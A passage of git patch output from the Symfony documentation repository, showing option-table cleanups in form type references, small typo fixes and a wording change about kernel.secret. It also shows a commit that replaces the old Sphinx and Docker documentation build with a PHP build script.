-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | FormType                                                                    |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 9458e3a7d1a..4eab5421e57 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -17,39 +17,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-|             | - `regions`_                                                           |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..a4cc411f1e0 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -11,25 +11,6 @@ have a protocol.
 +-------------+-------------------------------------------------------------------+
 | Rendered as | ``input url`` field                                               |
 +-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                     |
 +-------------+-------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index b0fcd20dccf..adbae2e904c 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -19,30 +19,6 @@ the data can be a string or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box, two text boxes or two select fields                        |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |

From ce9e9956b438f29e468524a86f83f30cc9de28bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 12:07:34 +0100
Subject: [PATCH 2664/7107] Remove the repeated options in Color form type

---
 reference/forms/types/color.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index e31747d4457..b9119039115 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -17,10 +17,6 @@ element.
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``color`` field (a text box)                              |
 +---------------------------+---------------------------------------------------------------------+
-| Options                   | - `html5`_                                                          |
-+---------------------------+---------------------------------------------------------------------+
-| Overridden options        | - `invalid_message`_                                                |
-+---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
 | Legacy invalid message    | The value {{ value }} is not valid.                                 |

From c664836c786b27f200754d639d07f9922964a376 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 13:20:07 +0100
Subject: [PATCH 2665/7107] Reword

---
 reference/configuration/framework.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f2a0c9b6483..e26dd44d07e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -37,14 +37,11 @@ used to add more entropy to security related operations. Its value should
 be a series of characters, numbers and symbols chosen randomly and the
 recommended length is around 32 characters.
 
-.. caution::
-
-    This configuration option's value is a real secret. You should treat it
-    with a lot of care.
-
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
 This option becomes the service container parameter named ``kernel.secret``,
 which you can use whenever the application needs an immutable random string

From 544bcf987a34ee7a3a7c9e76af8ad1900e6ddf58 Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Tue, 2 Nov 2021 17:59:25 +0100
Subject: [PATCH 2666/7107] [Finder] Add note about .gitignore rules precedence

---
 components/finder.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index eac3e20d8da..c0cecfa0032 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,6 +148,14 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+Rules from higher levels will be overridden by those in lower levels.
+
+.. note::
+
+    Only ``.gitignore`` files from search directories and their descendants are
+    read. Files from parent directories are ignored. To be consistent with Git
+    behavior, you should explicitly search from the Git repository root.
+
 .. versionadded:: 5.4
 
     ``.gitignore`` files recursive support was introduced in Symfony 5.4.

From 0058d87331a16f720233cdb15265db18b105a09b Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:07:53 +0100
Subject: [PATCH 2667/7107] =?UTF-8?q?Typo=20fix=20:=20cace=20=E2=9E=A4=20c?=
 =?UTF-8?q?ache?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index cbfc178da54..6a096b714c5 100644
--- a/cache.rst
+++ b/cache.rst
@@ -371,7 +371,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set('app.cace.adapter.redis')
+                $services->set('app.cache.adapter.redis')
                     ->parent('cache.adapter.redis')
                     ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };

From 9db79de5b08a5e7c0672d7973eebfa397e0351a0 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:42:29 +0100
Subject: [PATCH 2668/7107] =?UTF-8?q?Typo=20fix=20:=20failes=20=E2=9E=A4?=
 =?UTF-8?q?=20fails?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 _build/maintainer_guide.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 8485bc3191d..7e5cbc8caba 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -356,7 +356,7 @@ Merging while the target branch changed
 .......................................
 
 Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
-doing it. In these cases, ``gh merge ...`` failes to push. Solve this by
+doing it. In these cases, ``gh merge ...`` fails to push. Solve this by
 resetting your local branch and restarting the merge:
 
 .. code-block:: terminal

From 249c86dbf22df38bbbf9b9c9c3a1d47edfec8563 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:52:33 +0100
Subject: [PATCH 2669/7107] =?UTF-8?q?Typo=20fix=20:=20distrupting=20?=
 =?UTF-8?q?=E2=9E=A4=20disrupting?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 86d4e9a6fa0..6720fb9a6e1 100644
--- a/security.rst
+++ b/security.rst
@@ -1476,7 +1476,7 @@ By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without
-distrupting normal users on big networks (such as offices).
+disrupting normal users on big networks (such as offices).
 
 .. tip::
 

From 786989297118424ad47bc271c6e783859415be2d Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 22:02:00 +0100
Subject: [PATCH 2670/7107] =?UTF-8?q?Typo=20fixes=20:=20Remove=20extra=20"?=
 =?UTF-8?q?s"=20+=20througth=20=E2=9E=A4=20through?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 70e62b62263..de422ca6792 100644
--- a/session.rst
+++ b/session.rst
@@ -131,7 +131,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The sessions is available througth the Request and the RequestStack.
+The session is available through the Request and the RequestStack.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From 4a79e18f6b31dc202979c6c7a93db306a97a72de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Nov 2021 15:45:47 +0100
Subject: [PATCH 2671/7107] Update the instructions to build docs

---
 .dockerignore                              |   8 -
 .gitignore                                 |   5 -
 Dockerfile                                 |  20 -
 README.markdown                            |  37 +-
 _build/.requirements.txt                   |   6 -
 _build/Makefile                            | 153 -------
 _build/_exts/symfonycom/__init__.py        |   0
 _build/_exts/symfonycom/sphinx/__init__.py |  86 ----
 _build/_exts/symfonycom/sphinx/lexer.py    |  23 -
 _build/_static/rtd_custom.css              |  23 -
 _build/_static/symfony-logo.svg            |   1 -
 _build/build.php                           |  53 ++-
 _build/composer.json                       |   6 +-
 _build/composer.lock                       | 499 ++++++++++++++-------
 _build/conf.py                             | 301 -------------
 _build/make.bat                            | 263 -----------
 _images/docs-pull-request-change-base.png  | Bin 5849 -> 0 bytes
 docs.json                                  |   3 -
 18 files changed, 381 insertions(+), 1106 deletions(-)
 delete mode 100644 .dockerignore
 delete mode 100644 Dockerfile
 delete mode 100644 _build/.requirements.txt
 delete mode 100644 _build/Makefile
 delete mode 100644 _build/_exts/symfonycom/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/lexer.py
 delete mode 100644 _build/_static/rtd_custom.css
 delete mode 100644 _build/_static/symfony-logo.svg
 delete mode 100644 _build/conf.py
 delete mode 100644 _build/make.bat
 delete mode 100644 _images/docs-pull-request-change-base.png
 delete mode 100644 docs.json

diff --git a/.dockerignore b/.dockerignore
deleted file mode 100644
index 7d3ce5c0c44..00000000000
--- a/.dockerignore
+++ /dev/null
@@ -1,8 +0,0 @@
-/.git
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
-/_build/vendor
-/_build/output
-*.pyc
diff --git a/.gitignore b/.gitignore
index 1d25940e5c8..b69047f69a1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,2 @@
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
 /_build/vendor
 /_build/output
-*.pyc
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index 3995b8ff70a..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,20 +0,0 @@
-FROM python:2-alpine as builder
-
-WORKDIR /www
-
-COPY ./_build/.requirements.txt _build/
-
-RUN apk add \
-    git \
-    make
-
-RUN pip install pip==9.0.1 wheel==0.29.0 \
-    && pip install -r _build/.requirements.txt
-
-COPY . /www
-
-RUN make -C _build html
-
-FROM nginx:alpine
-
-COPY --from=builder /www/_build/html /usr/share/nginx/html
diff --git a/README.markdown b/README.markdown
index f65392efba3..2139c1599ac 100644
--- a/README.markdown
+++ b/README.markdown
@@ -19,34 +19,27 @@
 Contributing
 ------------
 
-We love contributors! For more information on how you can contribute to the
-Symfony documentation, please read
-[Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
+We love contributors! For more information on how you can contribute, please read
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
-> **Note**
-> All pull requests must be based on the ``4.4`` branch,
-> unless you are documenting a feature that was introduced *after* Symfony 4.4
-> (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
+**Important**: use `4.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
 
-SymfonyCloud
-------------
+Build Documentation Locally
+---------------------------
 
-Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration
-server where Pull Requests are built and can be reviewed by contributors.
+This is not needed for contributing, but it's useful if you want to debug some
+issue in the docs or if you want to read Symfony Documentation offline.
 
-Docker
-------
+```bash
+$ git clone git@github.com:symfony/symfony-docs.git
 
-You can build the documentation project locally with these commands:
+$ cd symfony-docs/
+$ cd _build/
 
-```bash
-# build the image...
-$ docker build . -t symfony-docs
+$ composer install
 
-# ...and start the local web server
-# (if it's already in use, change the '8080' port by any other port)
-$ docker run --rm -p 8080:80 symfony-docs
+$ php build.php
 ```
 
-You can now read the docs at http://127.0.0.1:8080 (if you use a virtual
-machine, browse its IP instead of localhost; e.g. `http://192.168.99.100:8080`).
+Now you can browse the docs at `_build/output/index.html`
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
deleted file mode 100644
index 47f076e9403..00000000000
--- a/_build/.requirements.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-docutils==0.13.1
-Pygments==2.2.0
-sphinx==1.8.5
-git+https://github.com/fabpot/sphinx-php.git@v2.0.0#egg_name=sphinx-php
-jsx-lexer===0.0.8
-sphinx_rtd_theme==0.5.0
diff --git a/_build/Makefile b/_build/Makefile
deleted file mode 100644
index 25b660056fe..00000000000
--- a/_build/Makefile
+++ /dev/null
@@ -1,153 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS    =
-SPHINXBUILD   = sphinx-build
-PAPER         =
-BUILDDIR      = .
-
-# Internal variables.
-PAPEROPT_a4     = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS   = -c $(BUILDDIR) -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) ../
-# the i18n builder cannot share the environment and doctrees with the others
-I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
-
-.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
-
-help:
-	@echo "Please use \`make <target>' where <target> is one of"
-	@echo "  html       to make standalone HTML files"
-	@echo "  dirhtml    to make HTML files named index.html in directories"
-	@echo "  singlehtml to make a single large HTML file"
-	@echo "  pickle     to make pickle files"
-	@echo "  json       to make JSON files"
-	@echo "  htmlhelp   to make HTML files and a HTML help project"
-	@echo "  qthelp     to make HTML files and a qthelp project"
-	@echo "  devhelp    to make HTML files and a Devhelp project"
-	@echo "  epub       to make an epub"
-	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
-	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
-	@echo "  text       to make text files"
-	@echo "  man        to make manual pages"
-	@echo "  texinfo    to make Texinfo files"
-	@echo "  info       to make Texinfo files and run them through makeinfo"
-	@echo "  gettext    to make PO message catalogs"
-	@echo "  changes    to make an overview of all changed/added/deprecated items"
-	@echo "  linkcheck  to check all external links for integrity"
-	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
-
-clean:
-	-rm -rf $(BUILDDIR)/*
-
-html:
-	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
-
-dirhtml:
-	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
-
-singlehtml:
-	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
-	@echo
-	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
-
-pickle:
-	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
-	@echo
-	@echo "Build finished; now you can process the pickle files."
-
-json:
-	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
-	@echo
-	@echo "Build finished; now you can process the JSON files."
-
-htmlhelp:
-	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
-	@echo
-	@echo "Build finished; now you can run HTML Help Workshop with the" \
-	      ".hhp project file in $(BUILDDIR)/htmlhelp."
-
-qthelp:
-	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
-	@echo
-	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
-	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
-	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Symfony.qhcp"
-	@echo "To view the help file:"
-	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Symfony.qhc"
-
-devhelp:
-	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
-	@echo
-	@echo "Build finished."
-	@echo "To view the help file:"
-	@echo "# mkdir -p $$HOME/.local/share/devhelp/Symfony"
-	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Symfony"
-	@echo "# devhelp"
-
-epub:
-	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
-	@echo
-	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
-
-latex:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo
-	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
-	@echo "Run \`make' in that directory to run these through (pdf)latex" \
-	      "(use \`make latexpdf' here to do that automatically)."
-
-latexpdf:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo "Running LaTeX files through pdflatex..."
-	$(MAKE) -C $(BUILDDIR)/latex all-pdf
-	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
-
-text:
-	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
-	@echo
-	@echo "Build finished. The text files are in $(BUILDDIR)/text."
-
-man:
-	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
-	@echo
-	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
-
-texinfo:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo
-	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
-	@echo "Run \`make' in that directory to run these through makeinfo" \
-	      "(use \`make info' here to do that automatically)."
-
-info:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo "Running Texinfo files through makeinfo..."
-	make -C $(BUILDDIR)/texinfo info
-	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
-
-gettext:
-	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
-	@echo
-	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
-
-changes:
-	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
-	@echo
-	@echo "The overview file is in $(BUILDDIR)/changes."
-
-linkcheck:
-	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
-	@echo
-	@echo "Link check complete; look for any errors in the above output " \
-	      "or in $(BUILDDIR)/linkcheck/output.txt."
-
-doctest:
-	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
-	@echo "Testing of doctests in the sources finished, look at the " \
-	      "results in $(BUILDDIR)/doctest/output.txt."
diff --git a/_build/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/_build/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py
deleted file mode 100644
index 4a61e711809..00000000000
--- a/_build/_exts/symfonycom/sphinx/__init__.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from pygments.style import Style
-from pygments.token import Keyword, Name, Comment, String, Error, \
-     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal
-
-class SensioStyle(Style):
-    background_color = "#000000"
-    default_style = ""
-
-    styles = {
-        # No corresponding class for the following:
-        #Text: "", # class: ''
-        Whitespace: "underline #f8f8f8", # class: 'w'
-        Error: "#a40000 border:#ef2929", # class: 'err'
-        Other: "#ffffff", # class 'x'
-
-    Comment: "italic #B729D9", # class: 'c'
-    Comment.Single: "italic #B729D9", # class: 'c1'
-    Comment.Multiline: "italic #B729D9", # class: 'cm'
-    Comment.Preproc: "noitalic #aaa", # class: 'cp'
-
-    Keyword: "#FF8400", # class: 'k'
-        Keyword.Constant: "#FF8400", # class: 'kc'
-        Keyword.Declaration: "#FF8400", # class: 'kd'
-        Keyword.Namespace: "#FF8400", # class: 'kn'
-        Keyword.Pseudo: "#FF8400", # class: 'kp'
-        Keyword.Reserved: "#FF8400", # class: 'kr'
-        Keyword.Type: "#FF8400", # class: 'kt'
-
-    Operator: "#E0882F", # class: 'o'
-    Operator.Word: "#E0882F", # class: 'ow' - like keywords
-
-    Punctuation: "#999999", # class: 'p'
-
-        # because special names such as Name.Class, Name.Function, etc.
-        # are not recognized as such later in the parsing, we choose them
-        # to look the same as ordinary variables.
-        Name: "#ffffff", # class: 'n'
-    Name.Attribute: "#ffffff", # class: 'na' - to be revised
-    Name.Builtin: "#ffffff", # class: 'nb'
-        Name.Builtin.Pseudo: "#3465a4", # class: 'bp'
-    Name.Class: "#ffffff", # class: 'nc' - to be revised
-        Name.Constant: "#ffffff", # class: 'no' - to be revised
-        Name.Decorator: "#888", # class: 'nd' - to be revised
-        Name.Entity: "#ce5c00", # class: 'ni'
-        Name.Exception: "#cc0000", # class: 'ne'
-    Name.Function: "#ffffff", # class: 'nf'
-        Name.Property: "#ffffff", # class: 'py'
-        Name.Label: "#f57900", # class: 'nl'
-        Name.Namespace: "#ffffff", # class: 'nn' - to be revised
-    Name.Other: "#ffffff", # class: 'nx'
-    Name.Tag: "#cccccc", # class: 'nt' - like a keyword
-    Name.Variable: "#ffffff", # class: 'nv' - to be revised
-        Name.Variable.Class: "#ffffff", # class: 'vc' - to be revised
-        Name.Variable.Global: "#ffffff", # class: 'vg' - to be revised
-        Name.Variable.Instance: "#ffffff", # class: 'vi' - to be revised
-
-    Number: "#1299DA", # class: 'm'
-
-        Literal: "#ffffff", # class: 'l'
-        Literal.Date: "#ffffff", # class: 'ld'
-
-        String: "#56DB3A", # class: 's'
-        String.Backtick: "#56DB3A", # class: 'sb'
-        String.Char: "#56DB3A", # class: 'sc'
-    String.Doc: "italic #B729D9", # class: 'sd' - like a comment
-        String.Double: "#56DB3A", # class: 's2'
-        String.Escape: "#56DB3A", # class: 'se'
-        String.Heredoc: "#56DB3A", # class: 'sh'
-        String.Interpol: "#56DB3A", # class: 'si'
-        String.Other: "#56DB3A", # class: 'sx'
-        String.Regex: "#56DB3A", # class: 'sr'
-    String.Single: "#56DB3A", # class: 's1'
-        String.Symbol: "#56DB3A", # class: 'ss'
-
-        Generic: "#ffffff", # class: 'g'
-        Generic.Deleted: "#a40000", # class: 'gd'
-        Generic.Emph: "italic #ffffff", # class: 'ge'
-        Generic.Error: "#ef2929", # class: 'gr'
-        Generic.Heading: "#000080", # class: 'gh'
-        Generic.Inserted: "#00A000", # class: 'gi'
-        Generic.Output: "#888", # class: 'go'
-        Generic.Prompt: "#745334", # class: 'gp'
-        Generic.Strong: "bold #ffffff", # class: 'gs'
-        Generic.Subheading: "bold #800080", # class: 'gu'
-        Generic.Traceback: "bold #a40000", # class: 'gt'
-    }
diff --git a/_build/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py
deleted file mode 100644
index f1e87066236..00000000000
--- a/_build/_exts/symfonycom/sphinx/lexer.py
+++ /dev/null
@@ -1,23 +0,0 @@
-from pygments.lexer import RegexLexer, bygroups, using
-from pygments.token import *
-from pygments.lexers.shell import BashLexer, BatchLexer
-
-class TerminalLexer(RegexLexer):
-    name = 'Terminal'
-    aliases = ['terminal']
-    filenames = []
-
-    tokens = {
-        'root': [
-            ('^\$', Generic.Prompt, 'bash-prompt'),
-            ('^>', Generic.Prompt, 'dos-prompt'),
-            ('^#.+$', Comment.Single),
-            ('^.+$', Generic.Output),
-        ],
-        'bash-prompt': [
-            ('(.+)$', bygroups(using(BashLexer)), '#pop')
-        ],
-        'dos-prompt': [
-            ('(.+)$', bygroups(using(BatchLexer)), '#pop')
-        ],
-    }
diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css
deleted file mode 100644
index 01298437755..00000000000
--- a/_build/_static/rtd_custom.css
+++ /dev/null
@@ -1,23 +0,0 @@
-body {
-	font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important;
-}
-
-h1, h2, h3, h4, h5, h6 {
-	font-family:Georgia,Times New Roman,Times,serif !important;
-	line-height:1.2 !important;
-	margin-top:0 !important;
-	margin-bottom:.5em !important;
-}
-p, .rst-content li{
-	font-size:14px !important;
-	line-height:1.45 !important;
-}
-.wy-menu-vertical a {
-	font-size:14px !important;
-	padding-right:0 !important;
-}
-
-.highlight {
-	background:#1e2125 !important;
-    color:#fafafa !important;
-}
diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg
deleted file mode 100644
index 828c2b297b0..00000000000
--- a/_build/_static/symfony-logo.svg
+++ /dev/null
@@ -1 +0,0 @@
